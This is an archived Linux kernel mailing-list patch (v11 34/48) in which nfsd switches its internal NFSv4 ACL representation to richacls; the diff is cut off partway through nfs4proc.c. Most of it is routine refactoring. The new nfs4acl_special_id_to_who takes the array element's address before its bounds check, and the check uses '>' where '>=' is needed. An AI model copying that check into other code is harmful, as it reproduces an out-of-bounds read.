tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6015F8004 for ; Fri, 16 Oct 2015 10:22:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 22BAE304053 for ; Fri, 16 Oct 2015 08:22:24 -0700 (PDT) X-ASG-Debug-ID: 1445008940-04bdf06db372c90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vwd5KkQ5EAYl7sEp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 19DD8C0AD286; Fri, 16 Oct 2015 15:22:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcH011947; Fri, 16 Oct 2015 11:22:14 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 34/48] nfsd: Use richacls as internal acl representation Date: Fri, 16 Oct 2015 17:18:12 +0200 X-ASG-Orig-Subj: [PATCH v11 34/48] nfsd: Use richacls as internal acl representation Message-Id: <1445008706-15115-35-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008940 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When converting from NFSv4 ACLs to POSIX ACLs, nfsd so far was using struct nfs4_acl as its internal representation. This representation is a subset of richacls, so get rid of struct nfs4_acl. Richacls even have a more compact in-memory representation, so a few more ACL entries can easily be supported. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/Kconfig | 6 + fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++++++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 24 ++-- fs/nfsd/nfs4acl.c | 368 ++++++++++++++++++++++-------------------------- fs/nfsd/nfs4proc.c | 15 +- fs/nfsd/nfs4xdr.c | 64 +++------ fs/nfsd/xdr4.h | 6 +- include/linux/nfs4.h | 23 --- include/linux/nfs4acl.h | 7 + 11 files changed, 274 insertions(+), 285 deletions(-) create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 include/linux/nfs4acl.h diff --git a/fs/Kconfig b/fs/Kconfig index bff2879..68bc3e1 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -265,6 +265,12 @@ config NFS_COMMON depends on NFSD || NFS_FS || LOCKD default y +config NFS_RICHACL + bool + depends on NFSD_V4 || NFS_V4 + select FS_RICHACL + default y + source "net/sunrpc/Kconfig" source "fs/ceph/Kconfig" source "fs/cifs/Kconfig" diff --git a/fs/nfs_common/Makefile b/fs/nfs_common/Makefile index d153ca3..e055139 100644 --- a/fs/nfs_common/Makefile +++ b/fs/nfs_common/Makefile @@ -4,5 +4,6 @@ obj-$(CONFIG_NFS_ACL_SUPPORT) += nfs_acl.o nfs_acl-objs := nfsacl.o +obj-$(CONFIG_NFS_RICHACL) += nfs4acl.o obj-$(CONFIG_GRACE_PERIOD) += grace.o diff --git a/fs/nfs_common/nfs4acl.c b/fs/nfs_common/nfs4acl.c new file mode 100644 index 0000000..02df064 --- /dev/null +++ b/fs/nfs_common/nfs4acl.c @@ -0,0 +1,44 @@ +#include +#include +#include + +static struct special_id { + char *who; + int len; +} special_who_map[] = { + [RICHACE_OWNER_SPECIAL_ID] = { + .who = "OWNER@", + .len = sizeof("OWNER@") - 1 }, + [RICHACE_GROUP_SPECIAL_ID] = { + .who = "GROUP@", + .len = sizeof("GROUP@") - 1 }, + [RICHACE_EVERYONE_SPECIAL_ID] = { + .who = "EVERYONE@", + .len = sizeof("EVERYONE@") - 1 } +}; + +int nfs4acl_who_to_special_id(const char *who, u32 len) +{ + int n; + + for (n = 0; n < ARRAY_SIZE(special_who_map); n++) { + if (len == special_who_map[n].len && + !memcmp(who, special_who_map[n].who, len)) + return n; + } + return -1; +} +EXPORT_SYMBOL(nfs4acl_who_to_special_id); + +bool nfs4acl_special_id_to_who(unsigned int special_who, + const char **who, unsigned int *len) +{ + struct special_id *special = &special_who_map[special_who]; + + if (special_who > ARRAY_SIZE(special_who_map) || !special->len) + return false; + *who = special->who; + *len = special->len; + return true; +} +EXPORT_SYMBOL(nfs4acl_special_id_to_who); diff --git a/fs/nfsd/Kconfig b/fs/nfsd/Kconfig index a0b77fc..811379a 100644 --- a/fs/nfsd/Kconfig +++ b/fs/nfsd/Kconfig @@ -70,6 +70,7 @@ config NFSD_V4 depends on NFSD && PROC_FS select NFSD_V3 select FS_POSIX_ACL + select FS_RICHACL select SUNRPC_GSS select CRYPTO select GRACE_PERIOD diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 4cd7c69..1c5deb5 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -35,25 +35,27 @@ #ifndef LINUX_NFS4_ACL_H #define LINUX_NFS4_ACL_H -struct nfs4_acl; +struct richacl; +struct richace; struct svc_fh; struct svc_rqst; /* * Maximum ACL we'll accept from a client; chosen (somewhat * arbitrarily) so that kmalloc'ing the ACL shouldn't require a - * high-order allocation. This allows 204 ACEs on x86_64: + * high-order allocation. This allows 339 ACEs on x86_64: */ -#define NFS4_ACL_MAX ((PAGE_SIZE - sizeof(struct nfs4_acl)) \ - / sizeof(struct nfs4_ace)) +#define NFSD4_ACL_MAX ((PAGE_SIZE - sizeof(struct richacl)) \ + / sizeof(struct richace)) -int nfs4_acl_bytes(int entries); -int nfs4_acl_get_whotype(char *, u32); -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who); +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len); +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace); -int nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl); -__be32 nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl); +int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl); +__be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + struct richacl *acl); #endif /* LINUX_NFS4_ACL_H */ diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6adabd6..6d3bb72 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -37,46 +37,50 @@ #include #include #include +#include +#include +#include #include "nfsfh.h" #include "nfsd.h" +#include "idmap.h" #include "acl.h" #include "vfs.h" -#define NFS4_ACL_TYPE_DEFAULT 0x01 -#define NFS4_ACL_DIR 0x02 -#define NFS4_ACL_OWNER 0x04 +#define FLAG_DEFAULT_ACL 0x01 +#define FLAG_DIRECTORY 0x02 +#define FLAG_OWNER 0x04 /* mode bit translations: */ -#define NFS4_READ_MODE (NFS4_ACE_READ_DATA) -#define NFS4_WRITE_MODE (NFS4_ACE_WRITE_DATA | NFS4_ACE_APPEND_DATA) -#define NFS4_EXECUTE_MODE NFS4_ACE_EXECUTE -#define NFS4_ANYONE_MODE (NFS4_ACE_READ_ATTRIBUTES | NFS4_ACE_READ_ACL | NFS4_ACE_SYNCHRONIZE) -#define NFS4_OWNER_MODE (NFS4_ACE_WRITE_ATTRIBUTES | NFS4_ACE_WRITE_ACL) +#define RICHACE_READ_MODE (RICHACE_READ_DATA) +#define RICHACE_WRITE_MODE (RICHACE_WRITE_DATA | RICHACE_APPEND_DATA) +#define RICHACE_EXECUTE_MODE RICHACE_EXECUTE +#define RICHACE_ANYONE_MODE (RICHACE_READ_ATTRIBUTES | RICHACE_READ_ACL | RICHACE_SYNCHRONIZE) +#define RICHACE_OWNER_MODE (RICHACE_WRITE_ATTRIBUTES | RICHACE_WRITE_ACL) /* flags used to simulate posix default ACLs */ -#define NFS4_INHERITANCE_FLAGS (NFS4_ACE_FILE_INHERIT_ACE \ - | NFS4_ACE_DIRECTORY_INHERIT_ACE) - -#define NFS4_SUPPORTED_FLAGS (NFS4_INHERITANCE_FLAGS \ - | NFS4_ACE_INHERIT_ONLY_ACE \ - | NFS4_ACE_IDENTIFIER_GROUP) +#define RICHACE_SUPPORTED_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO) static u32 mask_from_posix(unsigned short perm, unsigned int flags) { - int mask = NFS4_ANYONE_MODE; + int mask = RICHACE_ANYONE_MODE; - if (flags & NFS4_ACL_OWNER) - mask |= NFS4_OWNER_MODE; + if (flags & FLAG_OWNER) + mask |= RICHACE_OWNER_MODE; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -86,13 +90,13 @@ deny_mask_from_posix(unsigned short perm, u32 flags) u32 mask = 0; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -108,32 +112,33 @@ deny_mask_from_posix(unsigned short perm, u32 flags) static void low_mode_from_nfs4(u32 perm, unsigned short *mode, unsigned int flags) { - u32 write_mode = NFS4_WRITE_MODE; + u32 write_mode = RICHACE_WRITE_MODE; - if (flags & NFS4_ACL_DIR) - write_mode |= NFS4_ACE_DELETE_CHILD; + if (flags & FLAG_DIRECTORY) + write_mode |= RICHACE_DELETE_CHILD; *mode = 0; - if ((perm & NFS4_READ_MODE) == NFS4_READ_MODE) + if ((perm & RICHACE_READ_MODE) == RICHACE_READ_MODE) *mode |= ACL_READ; if ((perm & write_mode) == write_mode) *mode |= ACL_WRITE; - if ((perm & NFS4_EXECUTE_MODE) == NFS4_EXECUTE_MODE) + if ((perm & RICHACE_EXECUTE_MODE) == RICHACE_EXECUTE_MODE) *mode |= ACL_EXECUTE; } -static short ace2type(struct nfs4_ace *); -static void _posix_to_nfsv4_one(struct posix_acl *, struct nfs4_acl *, +static short ace2type(struct richace *); +static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); int -nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl) +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl) { struct inode *inode = d_inode(dentry); int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; + struct richacl_alloc alloc; unsigned int flags = 0; - int size = 0; + int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); if (!pacl) @@ -143,10 +148,10 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, return PTR_ERR(pacl); /* allocate for worst case: one (deny, allow) pair each: */ - size += 2 * pacl->a_count; + count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { error = PTR_ERR(dpacl); @@ -154,20 +159,20 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (dpacl) - size += 2 * dpacl->a_count; + count += 2 * dpacl->a_count; } - *acl = kmalloc(nfs4_acl_bytes(size), GFP_KERNEL); - if (*acl == NULL) { + if (!richacl_prepare(&alloc, count)) { error = -ENOMEM; goto out; } - (*acl)->naces = 0; - _posix_to_nfsv4_one(pacl, *acl, flags & ~NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(pacl, &alloc, flags); if (dpacl) - _posix_to_nfsv4_one(dpacl, *acl, flags | NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); + + *acl = alloc.acl; out: posix_acl_release(dpacl); @@ -230,21 +235,22 @@ summarize_posix_acl(struct posix_acl *acl, struct posix_acl_summary *pas) /* We assume the acl has been verified with posix_acl_valid. */ static void -_posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, - unsigned int flags) +_posix_to_richacl_one(struct posix_acl *pacl, struct richacl_alloc *alloc, + unsigned int flags) { struct posix_acl_entry *pa, *group_owner_entry; - struct nfs4_ace *ace; + struct richace *ace; struct posix_acl_summary pas; unsigned short deny; - int eflag = ((flags & NFS4_ACL_TYPE_DEFAULT) ? - NFS4_INHERITANCE_FLAGS | NFS4_ACE_INHERIT_ONLY_ACE : 0); + int e_flags = ((flags & FLAG_DEFAULT_ACL) ? + (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE | + RICHACE_INHERIT_ONLY_ACE) : 0); BUG_ON(pacl->a_count < 3); summarize_posix_acl(pacl, &pas); pa = pacl->a_entries; - ace = acl->aces + acl->naces; /* We could deny everything not granted by the owner: */ deny = ~pas.owner; @@ -254,42 +260,35 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, */ deny &= pas.users | pas.group | pas.groups | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags | NFS4_ACL_OWNER); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags | FLAG_OWNER); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; pa++; while (pa->e_tag == ACL_USER) { deny = ~(pa->e_perm & pas.mask); deny &= pas.groups | pas.group | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.uid = pa->e_uid; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.uid = pa->e_uid; pa++; } @@ -300,23 +299,19 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, group_owner_entry = pa; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pas.group, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pas.group, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; pa++; while (pa->e_tag == ACL_GROUP) { - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.gid = pa->e_gid; pa++; } @@ -326,12 +321,11 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~pas.group & pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; } pa++; @@ -339,24 +333,22 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~(pa->e_perm & pas.mask); deny &= pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.gid = pa->e_gid; } pa++; } if (pa->e_tag == ACL_MASK) pa++; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags); - ace->whotype = NFS4_ACL_WHO_EVERYONE; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags); + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; } static bool @@ -500,7 +492,7 @@ posix_state_to_acl(struct posix_acl_state *state, unsigned int flags) * and effective cases: when there are no inheritable ACEs, * calls ->set_acl with a NULL ACL structure. */ - if (state->empty && (flags & NFS4_ACL_TYPE_DEFAULT)) + if (state->empty && (flags & FLAG_DEFAULT_ACL)) return NULL; /* @@ -619,24 +611,24 @@ static void allow_bits_array(struct posix_ace_state_array *a, u32 mask) } static void process_one_v4_ace(struct posix_acl_state *state, - struct nfs4_ace *ace) + struct richace *ace) { - u32 mask = ace->access_mask; + u32 mask = ace->e_mask; int i; state->empty = 0; switch (ace2type(ace)) { case ACL_USER_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); } else { deny_bits(&state->owner, mask); } break; case ACL_USER: - i = find_uid(state, ace->who_uid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_uid(state, ace->e_id.uid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->users->aces[i].perms, mask); } else { deny_bits(&state->users->aces[i].perms, mask); @@ -645,7 +637,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->group, mask); } else { deny_bits(&state->group, mask); @@ -657,8 +649,8 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP: - i = find_gid(state, ace->who_gid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_gid(state, ace->e_id.gid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->groups->aces[i].perms, mask); } else { deny_bits(&state->groups->aces[i].perms, mask); @@ -671,7 +663,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_OTHER: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); allow_bits(&state->group, mask); allow_bits(&state->other, mask); @@ -689,32 +681,33 @@ static void process_one_v4_ace(struct posix_acl_state *state, } } -static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, +static int nfs4_richacl_to_posix(struct richacl *acl, struct posix_acl **pacl, struct posix_acl **dpacl, unsigned int flags) { struct posix_acl_state effective_acl_state, default_acl_state; - struct nfs4_ace *ace; + struct richace *ace; int ret; - ret = init_state(&effective_acl_state, acl->naces); + ret = init_state(&effective_acl_state, acl->a_count); if (ret) return ret; - ret = init_state(&default_acl_state, acl->naces); + ret = init_state(&default_acl_state, acl->a_count); if (ret) goto out_estate; ret = -EINVAL; - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { - if (ace->type != NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE && - ace->type != NFS4_ACE_ACCESS_DENIED_ACE_TYPE) + richacl_for_each_entry(ace, acl) { + if (ace->e_type != RICHACE_ACCESS_ALLOWED_ACE_TYPE && + ace->e_type != RICHACE_ACCESS_DENIED_ACE_TYPE) goto out_dstate; - if (ace->flag & ~NFS4_SUPPORTED_FLAGS) + if (ace->e_flags & ~RICHACE_SUPPORTED_FLAGS) goto out_dstate; - if ((ace->flag & NFS4_INHERITANCE_FLAGS) == 0) { + if ((ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE)) == 0) { process_one_v4_ace(&effective_acl_state, ace); continue; } - if (!(flags & NFS4_ACL_DIR)) + if (!(flags & FLAG_DIRECTORY)) goto out_dstate; /* * Note that when only one of FILE_INHERIT or DIRECTORY_INHERIT @@ -723,7 +716,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, */ process_one_v4_ace(&default_acl_state, ace); - if (!(ace->flag & NFS4_ACE_INHERIT_ONLY_ACE)) + if (!(ace->e_flags & RICHACE_INHERIT_ONLY_ACE)) process_one_v4_ace(&effective_acl_state, ace); } *pacl = posix_state_to_acl(&effective_acl_state, flags); @@ -733,7 +726,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, goto out_dstate; } *dpacl = posix_state_to_acl(&default_acl_state, - flags | NFS4_ACL_TYPE_DEFAULT); + flags | FLAG_DEFAULT_ACL); if (IS_ERR(*dpacl)) { ret = PTR_ERR(*dpacl); *dpacl = NULL; @@ -752,8 +745,7 @@ out_estate: } __be32 -nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl) +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) { __be32 error; int host_error; @@ -774,9 +766,9 @@ nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, return nfserr_attrnotsupp; if (S_ISDIR(inode->i_mode)) - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; - host_error = nfs4_acl_nfsv4_to_posix(acl, &pacl, &dpacl, flags); + host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) return nfserr_attrnotsupp; if (host_error < 0) @@ -803,82 +795,62 @@ out_nfserr: static short -ace2type(struct nfs4_ace *ace) +ace2type(struct richace *ace) { - switch (ace->whotype) { - case NFS4_ACL_WHO_NAMED: - return (ace->flag & NFS4_ACE_IDENTIFIER_GROUP ? - ACL_GROUP : ACL_USER); - case NFS4_ACL_WHO_OWNER: + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + switch (ace->e_id.special) { + case RICHACE_OWNER_SPECIAL_ID: return ACL_USER_OBJ; - case NFS4_ACL_WHO_GROUP: + case RICHACE_GROUP_SPECIAL_ID: return ACL_GROUP_OBJ; - case NFS4_ACL_WHO_EVERYONE: + case RICHACE_EVERYONE_SPECIAL_ID: return ACL_OTHER; + default: + BUG(); + } } - BUG(); - return -1; -} - -/* - * return the size of the struct nfs4_acl required to represent an acl - * with @entries entries. - */ -int nfs4_acl_bytes(int entries) -{ - return sizeof(struct nfs4_acl) + entries * sizeof(struct nfs4_ace); + return ace->e_flags & RICHACE_IDENTIFIER_GROUP ? ACL_GROUP : ACL_USER; } -static struct { - char *string; - int stringlen; - int type; -} s2t_map[] = { - { - .string = "OWNER@", - .stringlen = sizeof("OWNER@") - 1, - .type = NFS4_ACL_WHO_OWNER, - }, - { - .string = "GROUP@", - .stringlen = sizeof("GROUP@") - 1, - .type = NFS4_ACL_WHO_GROUP, - }, - { - .string = "EVERYONE@", - .stringlen = sizeof("EVERYONE@") - 1, - .type = NFS4_ACL_WHO_EVERYONE, - }, -}; - -int -nfs4_acl_get_whotype(char *p, u32 len) +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len) { - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].stringlen == len && - 0 == memcmp(s2t_map[i].string, p, len)) - return s2t_map[i].type; + int special_id; + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return nfs_ok; } - return NFS4_ACL_WHO_NAMED; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd_map_name_to_gid(rqstp, who, len, &ace->e_id.gid); + else + return nfsd_map_name_to_uid(rqstp, who, len, &ace->e_id.uid); } -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who) +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace) { - __be32 *p; - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].type != who) - continue; - p = xdr_reserve_space(xdr, s2t_map[i].stringlen + 4); + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + __be32 *p; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return nfserr_serverfault; + } + p = xdr_reserve_space(xdr, len + 4); if (!p) return nfserr_resource; - p = xdr_encode_opaque(p, s2t_map[i].string, - s2t_map[i].stringlen); + p = xdr_encode_opaque(p, who, len); return 0; } - WARN_ON_ONCE(1); - return nfserr_serverfault; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd4_encode_group(xdr, rqstp, ace->e_id.gid); + else + return nfsd4_encode_user(xdr, rqstp, ace->e_id.uid); } diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 4ce6b97..2430235 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -159,12 +159,12 @@ 